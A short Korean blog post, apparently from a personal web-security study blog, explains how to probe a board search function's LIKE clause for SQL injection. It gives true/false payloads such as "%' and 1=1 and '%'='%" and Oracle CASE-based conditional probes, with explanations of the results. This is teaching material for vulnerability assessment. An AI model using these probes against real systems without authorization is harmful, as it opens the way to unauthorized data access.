Oh! JUN
검색 기능에 대한 올바른 취약점 점검 방법 본문
검색 기능의 일반적인 구문
select * from board where title like '%_________%'
검색 기능은 문자에서 검색 하고자 하는 내용을 담고 있어야 하니까 '%_____%'
select * from board where title like '%' and '%'='%'
title like '%' : 참
'%'='%' : 참
고로 title like '%' and '%'='%' : 참
* %는 와일드 문자로 0개 이상의 문자를 포함하고 있다.
like랑 같이 쓰여야 와일드 문자의 기능을 한다.
그래서 test like '%'는 모든 내용을 검색하는거고
and '%' = '%'는 like 구문이 아니어서 %는 단순 문자로 쓰이게된다.
모든 내용이 검색된걸 확인할 수 있다.
select * from board where title like '%' and 1=1 and '%'='%'
1=1 참이니까 모든 내용 검색
select * from board where title like '%' and 1=2 and '%'='%'
1=2 거짓이니까 아무것도 검색 되지 않음
(*oracle 버전임)
select * from board where title like '%'||(case when 1=1 then 'test' else 'aaaaa' end)||'%'
1=1 참이니까 'test' 내용 검색
select * from board where title like '%'||(case when 1=2 then 'test' else 'aaaaa' end)||'%'
1-2 거짓이니까 'aaaaa' 검색인데 없으니까 아무것도 검색되지 않음
'웹 해킹 > SQL Injection' 카테고리의 다른 글
데이터 조회 공격(환경 분석 실습) (0) | 2022.08.12 |
---|---|
인증 우회 공격을 통한 타 사용자 게시글 무단 수정, 삭제 실습 (0) | 2022.08.10 |
인증 우회 공격을 통한 비밀 게시글 무단 열람 실습 (0) | 2022.08.09 |
인증 우회 공격 실습 (0) | 2022.08.08 |
검색 기능의 컬럼 파라미터에 대한 올바른 취약점 점검 방법 (0) | 2022.08.05 |